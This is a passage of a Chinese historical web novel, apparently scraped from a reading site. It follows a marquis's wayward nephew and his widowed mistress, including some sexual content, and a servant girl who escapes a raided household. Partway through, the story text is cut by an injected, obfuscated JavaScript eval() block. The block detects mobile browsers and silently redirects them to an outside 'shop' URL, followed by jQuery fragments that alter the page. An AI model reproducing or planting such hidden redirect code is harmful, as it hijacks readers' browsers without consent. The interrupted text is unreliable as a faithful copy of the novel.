鞭子甩出的啪啪响动,唬的李居静心肝都跟着颤了三颤。
就在等着鞭子要落下来之际,李居静瞬间闭眼等着挨抽,却没有传来记忆里的疼痛。
倒是一团温软的身体贴上他的后背,随即就传来一声闷哼。
这声音太熟悉,不是周怀仙还能是谁?
武安侯见没抽上那混账,不悦的哼了一声,也不好再落下手中的鞭子,抽第二回。
习武的人,就算收着力道,他也知道那鞭子抽的有多狠,以至于想骂几句这个混账都不能开口。
外头候着的费管家不得不进来,把台阶续上,让侯爷借坡将脸面兜过去。
自打家里二老爷没了后,二夫人就常年住在姑子观,二房仅有的一条血脉就由老侯爷教养。
李家子嗣凋零,到了侯爷这一代,就只余兄弟两人。侯爷大二老爷一旬,因着二老爷是早产,故而打小亦是体弱。
侯爷体健,却同侯夫人成亲十余载也就有世子爷一个,还是长年缠绵病榻。
京中外人说嘴,讲什么这都是祖上杀戮太多造了业,故而人丁不旺,适才应当找个门第低的人家结亲挡挡煞气。
说不得人丁就旺了。
侯爷当真如此办了,亲自为二老爷寻了门亲。翰林院编修家的女儿,较于侯府门头确实低了不少。
原本想着二老爷娶了亲,李家人丁定会兴旺,结果新婚才一年,二老爷人便得了疟疾,没救回来。
倒是二夫人在二老爷去了三个月后诊出喜脉,当真是怀胎十月产下二少爷这个遗腹子。
只是二夫人思念已故的二老爷,儿子刚过满月,她就去了姑子观,逢年过节亦是未曾回过侯府。
倒是侯爷既当爹又当娘,逢年过节带着二爷去姑子观,让母子二人见上一见,且呵护有加抚养二公子长大。
偌大侯府子嗣艰难,侄子也是血脉,同亲儿子一个样。
二公子打小就皮,上树爬墙招猫逗狗,很是像极了侯爷的秉性。
除开知根知底的来往关系,旁人只道是二公子就是侯爷的孩子,并不知故去的二爷那支还有血脉。
只是当大伯的管教起来束手束脚,原本想着只要长不残,由着二少爷闹就是了。
结果却是越来越没溜,除了烧杀抢掠,其他的全干了。
弄的武安侯府成了京畿里茶余饭后的搭头谈资,内容大都是桃色不堪,为此侯爷头疼不已。
还好侯爷嫡亲孙子是个争气的,这也算是让武安侯府依旧有光耀门楣的资本。
李居静反应过来伸手就抱住了周怀仙,眸中一闪而逝的狠戾倏的划过。看也不看武安侯,将人抱起就往内室卧房走去。
武安侯恨的不行,也不好去那混账房里,只能借着费管家口口声声‘侯爷您悠着点儿’把手中的鞭子松了出去。
“你这个混账就跟这鬼混到老吧你。”
言罢,哆嗦的口气平复好几个气息,唇边胡子都跟着抖了又抖。
暴脾气压不住,走到门口又折回来,盯着没动静的内室,跺了跺脚,迈开步子就又朝外头走人,“若是你执意要在外头胡混,那就别回李家门。”
费管家后头小跑跟着,只宽慰道:“二公子秉性还未定下,且等他想明白了,自然知道侯爷是为了他好。”
……
听着外头再没动静传来,周怀仙才又闷哼了两声。
李居静双眸发红,小心翼翼解开渗血的秋裳,入眼便是连同手背、胳膊以及背脊斜着出现的一道鞭痕,
周怀仙疼的出了一身冷汗,涔涔汗珠子要落不落,呼吸间,伤处的皮肉跟着灼烧。
就在此时李居静突然将脑袋钻进她的怀中,浑身发出阵阵颤栗。
周怀仙顾不上火辣辣的患处,只将人轻轻抱住,哄孩子似的轻拍他脊背。
“莫怕,仙儿没事,你可莫要闹脾气,回去同你家侯爷好好赔罪。”
周怀仙的声音像是解药,颤巍巍的身子安稳下来,李居静只想溺死在这奶香的怀里。
周怀仙也未曾想到,武安侯会杀上门。
事到如今,她也不知她同李居静能走到什么地步。
总之,以对李居静的了解,这人高低离不的她。
三年前初识时,他刚满十八,周怀仙比他年长三岁。那时她新寡,为了糊口,只得抛头露面,去花楼替姑娘们浆洗衣裳。
也是缘分天定,青天白日里,本不该有恩客在花楼出入,偏巧他宿醉迷糊,一头撞在了她身上。
彼时她刚出月子,正将盆里浆好的衣物晾上竹竿,急着回家给宝儿喂奶。
又惊又慌,她连连赔罪,谁知他非但不恼,反倒说是自己走路不长眼。
一来二去,两人渐渐熟络。李居静不仅替她从婆家手里夺回了被霸占的豆腐铺子,更拍着胸脯保证,京畿之内,再无人敢欺辱她们孤儿寡母。
周怀仙早已不是懵懂少女,只是猜不透这纨绔子弟究竟是何居心。
正当她手足无措,不知该如何报答时,他的目光却直直落在她胸|前洇开的奶渍上……
周怀仙瞬间了然,半推半就,便随了他。
她自然清楚,以自己的身份,绝无可能踏入侯府大门,却也笃定,他离不了自己。
便是为了宝儿,她也断不能耍小性子赌气。
李居静本是浪荡性子,即便与她在一起,外头依旧与诸多粉头牵扯不清,可即便如此,她在他心里,终究是排在第一位的。
朝夕相处间,她早已将他的喜好拿捏得恰到好处。她从不在乎什么名节贞洁,只要宝儿能有个锦绣前程,委身于人又算得了什么?
如今宝儿已满三岁,跟了李居静后,她身边也有了丫鬟婆子伺候,单是奶妈便请了两位。
平日里只管养尊处优,静候李居静前来,再也不必为生计奔波操劳。
还好宝儿被奶娘拘在后院,未曾撞见方才的情形,没受惊吓。
周怀仙蹙眉忍着胀奶的不适,戳戳怀中人,“饿么?外头都摆好了……”
布料窸窣轻响,声息忽止,吞咽声贴着耳廓放大,周怀仙蹙着的眉峰,刚紧即舒。
*
次日天刚擦亮,被关押数日的苏府众人,终于在官兵头领的命令下被放了出来。
兵丁先在门口摆了一桶水,又给每人发了块饼子,众人勉强吃了个半饱。
先是男丁有序走出,轮到贾媔踏出那间晦气弥漫的厅堂时,外头早已物是人非。
往日里,这院落是苏府最气派的所在,精心培育的名贵花木,此刻尽数盆倾枝折,歪斜倒地。
院中风水缸浑浊不堪,翻着白肚的大锦鲤浮在水面,秋蝇嗡嗡乱飞,一股腐烂恶臭扑面而来。
姜四妈还幻想着能回倒座房,收拾她那点身家银两,贾媔心中酸涩,却不忍告知她再也回不去了。
前头忽然传来兵丁厉声呼喝:“都排好队!不许哭哭啼啼,违抗者,直接发卖为贱籍!”
这一吼,震慑住了在场所有人。奴籍好歹还有月钱,主家苛待也少;在苏府是做奴才,转卖别处也是奴才,本没什么好叫苦的。
可贱籍不同,一旦入了贱籍,子子孙孙世代为贱,连牲口都不如。
小饱悄无声息地往人堆前头凑,与姜四妈等粗使下人远远隔开。
贾媔冷笑一声,心知这人定是觉得越靠前,被转卖去大户人家的机会便越大。
姜四妈瞧得明白,心中悲凉,倏然捏了捏贾媔的手,凑到她耳边低声道:“一会儿趁人不备,你滚到那丛冬青树后藏起来。”
贾媔自出来起便四处寻觅脱身之机,那处确是最易藏身的地方。
容不得多想,她只轻轻点头,哽咽道:“妈……您多保重,若我日后能挣到钱,定给您赎身,为您养老送终。”
姜四妈重重捏了捏她的手,眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371283|199917||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中满是期许:我等你。
前头兵丁正用绳子将几十人手腕拴成一串,贾媔故意落后几步,趁身后兵丁疏忽,猛地一滚,身子便隐入了冬青树丛的空隙中。
前头人列队往门口走,后头人紧随其后,待众人走空,雨后泥地的湿气沁透贾媔单薄的衣衫。
她一动不敢动,生怕兵丁清点人数时发现缺人,折返搜寻。
直到秋蝉歇了鸣唱,整个苏府陷入昏暗,院落静得令人胆寒。
往日彻夜燃灯的廊道庭院,此刻漆黑一片,贾媔这才敢活动早已僵硬的四肢。
胸腔里心脏狂跳不止,确认四下无人,她才从冬青树后钻出,不敢逗留,小心翼翼朝着倒座房方向奔去。
她虽没经历过,却也知晓各处大门定然贴了封条,府中花草都被刨走,想来只剩空屋。
但她不敢轻举妄动——倒座房有段院墙低矮,每逢大雨便会冲塌半截,即便修补,暴雨一过依旧坍塌。
前日那场暴雨,想来墙体早已垮了。
她只能赌那处是生路。
贾媔告诫自己不可贪心,人活着才有出路,万不可生出不该有的念头。
可脚下却不受控制,拐了个弯,往大公子苏怀安的住处而去。
她身上仅剩的两百大钱、二两碎银,早已被小卒搜刮一空。
她急需衣裳,尤其是男装,即便苏怀安的衣裳偏大也无妨,大不了典当换身粗布衣衫。
想到此处,她脚步更快。往日最怕黑夜,此刻却觉得夜色是最安全的庇护。
屋门四敞大开,屋内一片狼藉,散落的纸张书籍铺满地面。
她不敢点灯,借着窗外微弱的天光打量,屋里除了书还是书,连床上的被褥都被搜刮得干干净净。
唯有床头架子上搭着一件未被抄走的直裰,床底放着一双鞋,立橱中空空如也,四季衣裳与床帐皆被掠走。
贾媔颓坐于地,恨恨低骂:“狗官!”
正要起身,指尖被散落的书页划破,目光下意识扫过,随手拿起想丢开,却发现竟是一本春宫图册。
鬼使神差地一甩,册页间轻飘飘飘出一张薄纸。
贾媔好奇,俯身捡起,竟是一张十两银票!
真是天无绝人之路,她心头一喜,瞬间觉得那位文弱的白斩鸡苏大公子也顺眼了不少。
就在此时,外头传来细碎声响,紧接着便是一阵嘈杂的脚步声,朝着苏老爷书房而去。
贾媔吓得浑身冷汗,不敢逗留,紧贴墙根往黑影里躲。
只听几人脚步沉重,其中一人禀道:“大人,各处都搜遍了,花名册与往来账本皆无踪迹。”
“燕七,继续梳理薛十八打探来的消息。另外,苏庚不是还有座别院?里头有调教茶女的鸨母,去问问她。”顿了顿,声音冷厉如冰,“若是嘴硬胡言,便敲了她的牙,当着她的面剁了龟奴的手喂狗!”
“是!”
“敲牙……剁手喂狗……”这几个字如重锤砸在贾媔耳中,令她头皮发麻。
大靖朝律法断不是如此,凡事皆需大理寺审理,少则三月多则半载才会判案,即便抄家流放,也断无这般酷刑折磨的道理。
脚步声渐远,前院廊下灯笼燃起,正院与书房灯火通明。
贾媔心头一紧,暗道糟糕:方才滚入冬青丛时沾了满身泥巴,会不会留下痕迹?
她双腿发软,强自撑着,不断给自己打气:不能倒下,生路就在前方,撑住!
正当她懊悔自己一时贪财时,那一行人却来也匆匆,去也匆匆。
待四周再无动静,她将怀里的直裰、鞋子与那本书册抱紧,甩开步子朝倒座房狂奔。
此时已是四更天,她又惊又怕,赶到倒座房时,果然也是一片狼藉,铺盖被扔在屋檐下,箱笼东倒西歪……
贾媔咬牙,那处院墙果然塌了半截。她将顺来的衣物裹紧,助跑几步,纵身跃上墙头。